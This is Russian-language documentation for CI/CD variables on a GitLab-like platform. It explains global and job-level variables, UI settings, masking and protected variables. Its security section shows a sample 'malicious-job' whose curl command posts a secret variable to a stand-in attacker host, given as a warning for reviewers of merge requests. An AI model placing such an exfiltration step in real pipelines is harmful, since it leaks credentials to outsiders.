Переменные CI/CD¶

Переменные CI/CD являются одним из типов переменных окружения. Их можно использовать для того, чтобы:

Управлять поведением заданий и пайплайнов.
Хранить значения, которые вы хотите использовать повторно.
Избегать жесткого кодирования значений в файле .appseccode-ci.yml.

Значения переменных можно переопределить вручную для конкретного пайплайна или предусмотреть их предварительное заполнение в ручных пайплайнах.

Имена переменных ограничены командной оболочкой (shell), используемой исполнителем для выполнения скриптов. Каждая командная оболочка имеет свой набор зарезервированных имен переменных.

Для того чтобы обеспечить согласованное поведение, необходимо всегда заключать значения переменных в одинарные или двойные кавычки. Внутренний парсинг переменных осуществляется парсером Psych YAML, поэтому переменные в кавычках и без кавычек могут быть интерпретированы не одинаково. Например, VAR1: 012345 интерпретируется как восьмеричное значение, поэтому значение будет 5349, но VAR1: "012345" будет разобрана как строка со значением 012345.

Предопределенные переменные CI/CD¶

Система предоставляет набор предопределенных переменных CI/CD для использования в конфигурации пайплайна и скриптах заданий. Эти переменные содержат информацию о задании, пайплайне и другие значения, которые могут понадобиться при запуске пайплайна.

Вы можете использовать предопределенные переменные CI/CD в файле .appseccode-ci.yml, не объявляя их предварительно. Например:

job1:
  stage: test
  script:
    - echo "The job's stage is '$CI_JOB_STAGE'"

Скрипт в этом примере выполняет вывод: The job's stage is 'test'.

Определение переменной CI/CD в файле .appseccode-ci.yml¶

Чтобы создать переменную CI/CD в файле .appseccode-ci.yml, определите переменную и значение с помощью ключевого слова variables.

Переменные, сохраненные в файле .appseccode-ci.yml, видны всем пользователям, имеющим доступ к репозиторию. Они должны хранить только не конфиденциальную конфигурацию проекта. Например, URL базы данных, сохраняемый в переменной DATABASE_URL. Чувствительные переменные, содержащие такие значения, как секреты или ключи, должны храниться в настройках проекта.

Ключевое слово variables можно использовать в задании или на верхнем уровне файла .appseccode-ci.yml. Если переменная определена:

На верхнем уровне, то она глобально доступна, и все задания могут ее использовать.
В задании, то её может использовать только это задание.

Например:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables:
    JOB_VAR: "A job variable"
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

job2:
  script:
    - echo "Variables are '$GLOBAL_VAR' and '$JOB_VAR'"

В этом примере:

job1 выводит: Variables are 'A global variable' and 'A job variable'.
job2 выводит: Variables are 'A global variable' and ''.

Используйте ключевые слова value и description для определения переменных, которые предварительно заполняются для пайплайнов, запускаемых вручную.

Пропуск глобальных переменных в одной задании¶

Если вы не хотите, чтобы глобально определенные переменные были доступны в задании, задайте для variables значение {}:

variables:
  GLOBAL_VAR: "A global variable"

job1:
  variables: {}
  script:
    - echo This job does not need any variables

Определение переменной CI/CD в пользовательском интерфейсе¶

Чувствительные переменные, такие как токены или пароли, должны храниться в настройках в пользовательском интерфейсе, а не в файле .appseccode-ci.yml. Определите переменные CI/CD в пользовательском интерфейсе:

Для проекта в настройках проекта.
Для всех проектов в группе в настройках группы.
Для всех проектов инстанса (экземпляра) Системы в настройках инстанса.

Также данные переменные могут быть добавлены через API:

С помощью API endpoint переменных уровня проекта.
С помощью API endpoint переменных на уровне группы.
С помощью API endpoint переменных на уровне инстанса.

По умолчанию пайплайны из ответвленных проектов не могут получить доступ к переменным CI/CD, доступным в родительском проекте. Если запустить пайплайн запроса на слияние в родительском проекте для запроса на слияние из ответвления, то все переменные станут доступны пайплайну.

Для проекта¶

Вы можете добавить переменные CI/CD в настройки проекта.

Необходимые условия:

Вы должны быть участником проекта с ролью Сопровождающий.

Для добавления или обновления переменных в настройках проекта:

Перейдите в Настройки > CI/CD проекта и раскройте раздел Переменные.
Выберите Добавить переменную и введите следующие данные:
- Ключ: должен быть задан в одной строке, без пробелов, с использованием только букв, цифр или _.
- Значение: без ограничений.
- Тип: Variable (по умолчанию) или File.
- Окружения: опционально. All или определенные окружения.
- Защитить переменную: опционально. Если этот параметр выбран, то переменная доступна только в пайплайнах, работающих на защищенных ветках или защищенных тегах.
- Маскируемая: опционально. Если этот параметр выбран, значение переменной маскируется в логах заданий. Если значение не соответствует требованиям маскировки, переменная не сохраняется. Также доступна опция Замаскирована и скрыта — после сохранения значение нельзя раскрыть в настройках CI/CD.

После создания переменной ее можно использовать в конфигурации .appseccode-ci.yml или в скриптах задания.

Для группы¶

Вы можете сделать переменную CI/CD доступной для всех проектов в группе.

Необходимые условия:

Вы должны быть членом группы с ролью Владелец.

Для добавления групповой переменной:

В группе перейдите в Настройки > CI/CD.
Выберите Добавить переменную и введите следующие данные:
- Ключ: должен быть задан в одной строке, без пробелов, с использованием только букв, цифр или _.
- Значение: без ограничений.
- Тип: Variable (по умолчанию) или File.
- Окружения: опционально. All или определенные окружения.
- Защитить переменную: опционально. Если этот параметр выбран, то переменная доступна только в пайплайнах, работающих на защищенных ветках или защищенных тегах.
- Маскируемая: опционально. Если этот параметр выбран, значение (Значение) переменной маскируется в логах заданий. Если значение не соответствует требованиям маскировки, переменная не сохраняется.

Групповые переменные, доступные в проекте, перечислены в разделе проекта Настройки > CI/CD > Переменные. Переменные из подгрупп наследуются рекурсивно.

Для инстанса¶

Вы можете сделать переменную CI/CD доступной для всех проектов и групп в инстансе (экземпляре) Системы.

Необходимые условия:

Вы должны иметь права администратора на данный инстанс.

Для добавления переменной инстанса:

Перейдите в раздел администрирования Системы.
Выберите Настройки > CI/CD и раскройте раздел Переменные.
Выберите Добавить переменную и введите следующие данные:
- Ключ: должен быть задан в одной строке, без пробелов, с использованием только букв, цифр или _.
- Значение: значение ограничено 10 000 символами, а также любыми ограничениями ОС средства выполнения (раннера).
- Тип: Variable (по умолчанию) или File.
- Окружения: опционально. All или определенные окружения.
- Защитить переменную: опционально. Если этот параметр выбран, то переменная доступна только в пайплайнах, работающих на защищенных ветках или защищенных тегах.
- Маскируемая: опционально. Если этот параметр выбран, значение переменной маскируется в логах заданий. Если значение не соответствует требованиям маскировки, переменная не сохраняется. Также доступна опция Замаскирована и скрыта — после сохранения значение нельзя раскрыть в настройках CI/CD.

Безопасность переменных CI/CD¶

Код, загруженный в файл .appseccode-ci.yml, может скомпрометировать ваши переменные. Переменные могут быть случайно раскрыты в логе заданий или злонамеренно отправлены на сторонний сервер.

Проводите обзор всех запросов на слияние, которые вносят изменения в файл .appseccode-ci.yml, перед тем как:

Запустить пайплайн в родительском проекте для запроса на слияние, отправленного из fork-проекта.
Влить изменения.

Проводите ревью файлов .appseccode-ci.yml из импортированных проектов, прежде чем добавлять в эти проекты файлы или запускать пайплайны.

В следующем примере показан вредоносный код в файле .appseccode-ci.yml:

accidental-leak-job:
  script: # Password exposed accidentally
    - echo "This script logs into the DB with $USER $PASSWORD"
    - db-login $USER $PASSWORD

malicious-job:
  script: # Secret exposed maliciously
    - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "<https://maliciouswebsite.abcd/>"

Чтобы снизить риск случайной утечки секретов через скрипты, как в случае с accidental-leak-job, все переменные, содержащие конфиденциальную информацию, должны быть замаскированы в логах заданий. Можно также ограничить переменную только для защищенных ветвей и тегов.

Вредоносные скрипты, подобные malicious-job, должны быть выявлены в процессе ревью. Участники ревью никогда не должны запускать пайплайн при обнаружении подобного кода, поскольку вредоносный код может скомпрометировать как маскированные, так и защищенные переменные.

Значения переменных шифруются с использованием алгоритма шифрования aes-256-cbc и хранятся в базе данных. Эти данные могут быть прочитаны и расшифрованы только при наличии валидного файла секретов.

Маскирование переменной CI/CD¶

Символ «~» может использоваться в маскированных переменных.

Примечание

Маскировка переменных в CI/CD не является гарантированным способом предотвращения доступа злоумышленников к значениям переменных. Функция маскирования является «лучшей попыткой» предотвращения и предназначена для помощи в случае случайного раскрытия переменной. Для повышения безопасности переменных следует использовать внешние секреты и переменные типа «файл», чтобы такие команды, как env/printenv, не могли распечатать секретные переменные.

Вы можете замаскировать переменную CI/CD проекта, группы или инстанса, чтобы ее значение не отображалось в логах заданий.

Необходимые условия:

Вы должны иметь ту же роль или уровень доступа, которые требуются для определения переменной CI/CD в пользовательском интерфейсе.

Для маскирования переменной:

В проекте, группе или области администратора (Администрирование) перейдите в раздел Настройки > CI/CD.
Раскройте раздел Переменные.
Рядом с переменной, которую необходимо защитить, нажмите кнопку с подсказкой Редактировать.
Установите флажок Маскируемая.
Нажмите Сохранить изменения.

Метод, используемый для маскирования переменных, ограничивает то, что может быть включено в маскируемую переменную. Значение переменной должно:

Быть задано в одной строке.
Быть длиной 8 символов или более и состоять только из:
- Символов из алфавита Base64 (RFC4648).
- Символов @, :, . или ~.
Не совпадать с именем существующей предопределенной или пользовательской кастомной CI/CD-переменной.

Защита переменной CI/CD¶

Вы можете настроить CI/CD-переменную проекта, группы или инстанса таким образом, чтобы она была доступна только для пайплайнов, работающих на защищенных ветках или защищенных тегах.

Пайплайны в результате слияния, которые запускаются на временном коммите на слияние, а не на ветке или теге, не имеют доступа к этим переменным. Пайплайны в результате слияния, которые не используют временные коммиты на слияние, могут получить доступ к этим переменным, если ветка является защищенной.

Необходимые условия:

Вы должны иметь ту же роль или уровень доступа, которые требуются для определения переменной CI/CD в пользовательском интерфейсе.

Чтобы определить переменную как защищенную:

В проекте, группе или области администратора (Администрирование) инстанса перейдите в раздел Настройки > CI/CD.
Раскройте раздел Переменные.
Рядом с переменной, которую необходимо защитить, нажмите кнопку с подсказкой Редактировать.
Установите флажок Защитить переменную.
Нажмите Сохранить изменения.

Защищенная переменная доступна для всех последующих пайплайнов.